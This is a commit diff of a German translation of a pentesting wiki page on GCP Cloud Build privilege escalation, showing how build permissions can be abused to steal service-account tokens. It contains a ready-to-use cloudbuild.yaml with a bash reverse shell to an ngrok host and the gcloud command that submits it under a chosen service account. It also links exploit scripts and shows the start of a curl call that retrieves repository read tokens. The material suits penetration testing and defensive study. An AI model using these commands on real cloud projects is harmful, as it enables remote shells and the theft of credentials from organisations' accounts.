Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/

This commit is contained in:
Translator
2025-08-18 14:48:58 +00:00
parent de34737e71
commit 05ba293187

View File

@@ -12,22 +12,34 @@ Für weitere Informationen zu Cloud Build siehe:
### `cloudbuild.builds.create`, `iam.serviceAccounts.actAs`
Mit dieser Berechtigung kannst du **einen Cloud-Build einreichen**. Die Cloudbuild-Maschine wird standardmäßig in ihrem Dateisystem ein **Token des Cloudbuild-Servicekontos** haben: `<PROJECT_NUMBER>@cloudbuild.gserviceaccount.com`. Du kannst jedoch **jedes Servicekonto innerhalb des Projekts** in der Cloudbuild-Konfiguration angeben.\
Daher kannst du die Maschine einfach dazu bringen, das Token an deinen Server zu exfiltrieren oder **einen Reverse-Shell innerhalb davon zu erhalten und dir das Token zu holen** (die Datei, die das Token enthält, könnte sich ändern).
Mit dieser Berechtigung können Sie **einen Cloud-Build einreichen**. Die Cloudbuild-Maschine hat standardmäßig ein **Token des Cloudbuild-Servicekontos** in ihrem Dateisystem: `<PROJECT_NUMBER>@cloudbuild.gserviceaccount.com`. Sie können jedoch **jedes Servicekonto im Projekt** in der Cloudbuild-Konfiguration angeben.\
Daher können Sie die Maschine einfach dazu bringen, das Token an Ihren Server zu exfiltrieren oder **eine Reverse-Shell darin zu erhalten und sich das Token zu besorgen** (die Datei, die das Token enthält, könnte sich ändern).
Du kannst das ursprüngliche Exploit-Skript [**hier auf GitHub**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) finden (aber der Ort, von dem es das Token bezieht, hat bei mir nicht funktioniert). Überprüfe daher ein Skript zur Automatisierung der [**Erstellung, Ausnutzung und Bereinigung einer verwundbaren Umgebung hier**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) und ein Python-Skript, um einen Reverse-Shell innerhalb der Cloudbuild-Maschine zu erhalten und [**es hier zu stehlen**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (im Code kannst du finden, wie man andere Servicekonten angibt)**.**
#### Direkte Ausnutzung über gcloud CLI
Für eine detailliertere Erklärung besuche [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/)
1- Erstellen Sie `cloudbuild.yaml` und ändern Sie es mit Ihren Listener-Daten.
```yaml
steps:
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1
options:
logging: CLOUD_LOGGING_ONLY
```
2- Laden Sie einen einfachen Build ohne Quelle hoch, die yaml-Datei und geben Sie den zu verwendenden SA für den Build an:
```bash
gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects/<PROJECT>/serviceAccounts/<SERVICE_ACCOUNT_ID>@<PROJECT_ID>.iam.gserviceaccount.com
```
#### Verwendung der Python gcloud-Bibliothek
Sie finden das ursprüngliche Exploit-Skript [**hier auf GitHub**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) (aber der Ort, von dem es das Token bezieht, hat bei mir nicht funktioniert). Überprüfen Sie daher ein Skript zur Automatisierung der [**Erstellung, Ausnutzung und Bereinigung einer verwundbaren Umgebung hier**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) und ein Python-Skript, um eine Reverse-Shell innerhalb der Cloudbuild-Maschine zu erhalten und [**es hier zu stehlen**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (im Code finden Sie, wie Sie andere Dienstkonten angeben können)**.**
### `cloudbuild.builds.update`
Für eine detailliertere Erklärung besuchen Sie [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/)
**Potentiell** kannst du mit dieser Berechtigung **einen Cloud-Build aktualisieren und einfach das Token des Servicekontos stehlen**, wie es mit der vorherigen Berechtigung durchgeführt wurde (aber leider konnte ich zum Zeitpunkt des Schreibens keinen Weg finden, diese API aufzurufen).
TODO
### `cloudbuild.repositories.accessReadToken`
Mit dieser Berechtigung kann der Benutzer das **Lesezugriffs-Token** erhalten, das zum Zugriff auf das Repository verwendet wird:
Mit dieser Berechtigung kann der Benutzer das **Lesezugriffs-Token** abrufen, das zum Zugriff auf das Repository verwendet wird:
```bash
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \